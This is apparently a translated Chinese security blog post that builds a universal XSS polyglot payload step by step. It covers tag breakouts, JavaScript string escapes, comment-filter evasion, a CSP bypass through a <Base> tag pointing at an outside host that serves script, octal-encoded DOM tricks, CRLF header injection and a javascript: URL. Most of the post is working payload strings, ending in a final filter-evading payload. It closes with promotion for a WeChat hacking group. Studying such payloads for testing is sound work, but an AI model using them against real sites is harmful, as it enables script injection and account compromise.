免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。
文章正文
在这里,我们将尝试构建一个通用性的多语言 XSS Payload,尽可能少的字符以及可以提供的最大和最好的 XSS 案例。 我们还将添加一些用于验证的关键元素,甚至是一些基本的规避技巧。
可以使用默认测试页面 XSS GYM 测试和验证本文的payload。
在这里我们将带来一个新的基于相同逻辑的新技巧,但添加为 XSS 发现的新技巧。我们首先选择我们工作的核心:在最简单的 HTML 注入上下文中触发的有效负载:
<K/contentEditable/autoFocus/OnFocus=(alert)(1)
我们使用任意 XHTML 标记(来自“ KNOXSS”的 K )在“contenteditable”和“autofocus”HTML 属性的帮助下自动弹出警报框,以支持事件处理程序“onfocus”。与此处理程序结合使用的任意标签在基于 Chromium 的浏览器中工作,而对于 Mozilla Firefox,则需要使用另一个支持这些属性的 HTML 元素,例如“输入”标签(在本文发布时)。
这里的另一个选择是混合大小写并用一对括号括住“alert”关键字,两者都旨在基本的过滤器规避(成本效益)。
我们继续添加下一组技巧来涵盖一些需要的注入场景:那些需要突破当前 HTML 标记对的场景,包括打开 (<tag>) 和关闭 (</tag>)。
</Title/</Style/</Script/</textArea/</iFrame/</noScript><K/contentEditable/autoFocus/OnFocus=(alert)(1)>
还有更多的 HTML 标签需要这种突破,但这些是主要的,也是我们在这里的选择。请注意,没有必要为每个标签使用 >,只需在末尾使用一个,因为我们的有效负载将只落在其中一个标签中,而所有其他标签都将被忽略。
现在让我们构建负责 Javascript 注入的集合,这需要从字符串中分离出来。它对我们的内联 HTML 注入也很有用,因为我们上面的第一个构造带有“contentEditable/autoFocus/OnFocus=(alert)(1)”片段。
我们将使用转义 JS 注入所需的 //(JS 注释)以及一对括号( { } )来修复内联 HTMLi 的小语法错误,以允许正确的代码评估(如 '-alert(1 ))。最后,另一对注释 (/*/) 用于结束在初始字符串定界符 (/) 中打开的注释。
Javascript 解析器将忽略任何其他打开的注释 (/*
),而未找到关闭的 (*/
)。
/*'/*\'/*"/*\"/*`/*\`/*</Title/</Style/</Script/</textArea/</iFrame/</noScript><K/contentEditable/autoFocus/OnFocus=/**/{(alert)(1)}//>
这样,第一个引号(或反引号),无论是否带有反斜杠“转义”,都会以 /* 开始一个多行 JS 注释部分,该部分将以第一个 */ 结束,就在警报代码。然后用 // 注释掉它,因为我们真的无法猜测在那之后如何修复语法(对于转义的情况也没有其他方法)。
通过下面突出显示实际评估代码的示例详细检查它的工作原理。第一个是单引号中断的简单 JS 注入,第二个是转义双引号注入(此处的案例 #6 和 #7 )。
/*'/*\'/*"/*\"/*`/*\`/*</Title/</Style/</Script/</textArea/</iFrame/</noScript><K/contentEditable/autoFocus/OnFocus=/**/{(alert)(1)}//>
/*'/*\'/*"/*\"/*`/*\`/*</Title/</Style/</Script/</textArea/</iFrame/</noScript><K/contentEditable/autoFocus/OnFocus=/**/{(alert)(1)}//>
现在让我们在分叉之前为我们的有效负载添加一些更好的技巧:需要一个分叉,因为一些技巧会发生冲突,所以我们需要使用一个或另一个。第一个是绕过仅用于评论的过滤器:
<!–>/*'/*\'/*"/*\"/*`/*\`/*</Title/</Style/</Script/</textArea/</iFrame/</noScript><K/contentEditable/autoFocus/OnFocus=/**/{(alert)(1)}//–>
我们在开头添加了 <!--> 并在最后一个大于号 (>) 之前添加了双破折号。绕过过滤器,如“/<!--.*-->/"等。
下一个技巧是绕过 CSP。它对于任何不将 <base> 标签列入黑名单的基于黑名单的过滤器也很有用,包括已实现的 CSP 本身:
<!–>/*'/*\'/*"/*\"/*`/*\`/*</Title/</Style/</Script/</textArea/</iFrame/</noScript><K/contentEditable/autoFocus/OnFocus=/**/{(alert)(1)}//><Base/Href=//X55.is/–>
由于基本元素只关心域,只要我们提供一个(在这种情况下,X55.is 域设置为回复任何基于相对路径的脚本调用)它就可以工作,无论 URL 路径如何,允许斜线后面的任何内容。
为了能够绕过对 HTML 实体的清理,让我们为基于 DOM 的场景添加另一个技巧,该技巧可能对 WAF 也有效。
<!–>/*'/*\'/*"/*\"/*`/*\`/*</Title/</Style/</Script/</textArea/</iFrame/</noScript>
\74k<K/contentEditable/autoFocus/OnFocus=/**/{(alert)(1)}//><Base/Href=//X55.is\76–>
如果将 < 消毒为 < 但是上面的有效载荷被插入到带有一些危险的 JS 函数(接收器)的 DOM 中,“\74k<K/”将变为“<k<K/”(\74 是八进制的 <),这是一个有效的任意标记与 OnFocus 及其上面的属性一起使用。用 \76 关闭 DOM 插入,它是八进制的“>”,替换基本的 href 斜杠,因为反斜杠在对 HTTP 引用 (href) 的实际浏览器请求中变成了斜杠。
我们可以在这里检查这个工作。
让我们在我们的“打破分隔符”集合中添加一个更奇怪的案例,它是一个基于 HTML 实体的绕过事件处理程序内部的引号过滤,例如,当我们的注入落在函数内部时。此处提供了它的实时测试页面。
<!–>/*'/*\'/*"/*\"/*`/*\`/*%26apos;)/*</Title/</Style/</Script/</textArea/</iFrame/</noScript>
\74k<K/contentEditable/autoFocus/OnFocus=/**/;{(alert)(1)}//><Base/Href=//X55.is\76–>
它之所以有效,是因为 HTML 实体应该在比 javascript 代码更高级别的 HTML 空间中工作。用“)”和“;”关闭函数是强制性的 就在我们的 {(alert)(1)} 代码之前。
接下来是一个复杂的问题:为了使模板文字占位符注入工作,我们使用 JS 注释的复杂嵌套来处理所有以前的情况以及这个新的情况。
<!–>/*'/*\'/*"/*\"/*`/*\`/*%26apos;)/*</Title/</Style/</Script/</textArea/</iFrame/</noScript>
\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76–>
初始 /* 用于 OnFocus 事件, // 用于占位符注入,同时也用于设置中断分隔符。那 // 是一个双刃剑,根据之前调用的代码,它既可以作为注释的开始,也可以作为注释的结束。下面,突出显示了 3 种可能的情况:
<!–>/*'/*\'/*"/*\"/*`/*\`/*%26apos;)/*</Title/</Style/</Script/</textArea/</iFrame/</noScript>
\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76–>
<!–>/*‘/*\'/*"/*\"/*`/*\`/*%26apos;)/*</Title/</Style/</Script/</textArea/</iFrame/</noScript>
\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76–>
<!–>/*'/*\'/*"/*\"/*`/*\`/*%26apos;)/*</Title/</Style/</Script/</textArea/</iFrame/</noScript>
\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76–>
现在我们的多语言核心几乎结束了,因为我们添加的所有新技巧都会使其他技巧无效。
通过添加几个 CRLF(回车和换行),我们添加了一些 HTTP 标头注入功能,包括更改内容类型和尝试强制我们的响应正文传递我们的代码。
<!–>/*'/*\'/*"/*\"/*`/*\`/*%26apos;)/*
%0D%0AContent-Type:text/html%0D%0A%0D%0A
</Title/</Style/</Script/</textArea/</iFrame/</noScript>
\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76–>
不幸的是,这可能会禁用我们使用八进制数的基于 DOM 的 XSS 技巧。
所以为了让它继续工作,让我们在下一个有用的补充中忘记它:
JavaScript://%250Aalert?.(1)//*'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!–></Title/</Style/</Script/</textArea/</iFrame/</noScript>
\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76–>
Javascript 伪协议用于Location Sink 基于 DOM 的 XSS ,具有绕过 URL 验证过滤器的技巧,但我们使用可选链接来提供所需的问号, 而不是三元运算符。它也适用于锚点中的PHP strip_tags 函数。我们之前的第一个斜杠与新的 alert?.(1) 斜杠一起使用,形成注释其余有效负载所需的双斜杠。
请注意,我们已经替换了 <!–> 这使得它不太有用,因为它在开始时对于只允许整个输入的 HTML 注释的过滤器效果更好。虽然是一个小缺点,但新添加的内容很好地弥补了这一点。
最后一个技巧是在我们的 paylaod 末尾使用反斜杠来处理无引号的Javacript 注入场景:
JavaScript://%250Aalert?.(1)//*'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!–></Title/</Style/</Script/</textArea/</iFrame/</noScript>
\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76–>\
但请记住,这个反斜杠最终可能会破坏本机 JS 代码,这些代码不会被我们之前的任何有效负载注入,也不会转义或清理该字符。它可能没有回报,所以我们可以跳过它。
最后,多语言通用payload:
JavaScript://%250Aalert?.(1)// '/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76--> #XSS
目前该payload能够在XSS Gym中拥有的 30 多个 XSS 测试用例中的至少 27 个(需要单击一个案例)中弹框。
文章来源:https://brutelogic.com.br/blog/building-xss-polyglots/
技术交流
交流群
关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。
知识星球
星球不定时更新最新漏洞复现,手把手教你,同时不定时更新POC、内外网渗透测试骚操作。涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全等
关注我们
关注福利:
回复“app" 获取 app渗透和app抓包教程
回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。
回复“书籍" 获取 网络安全相关经典书籍电子版pdf
往期文章:
CVE-2022-30190 Follina Office RCE分析【附自定义word模板POC】
利用burp精准定位攻击者
从此 Typora 代码块有了颜色
不会写免杀也能轻松过defender上线CS
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论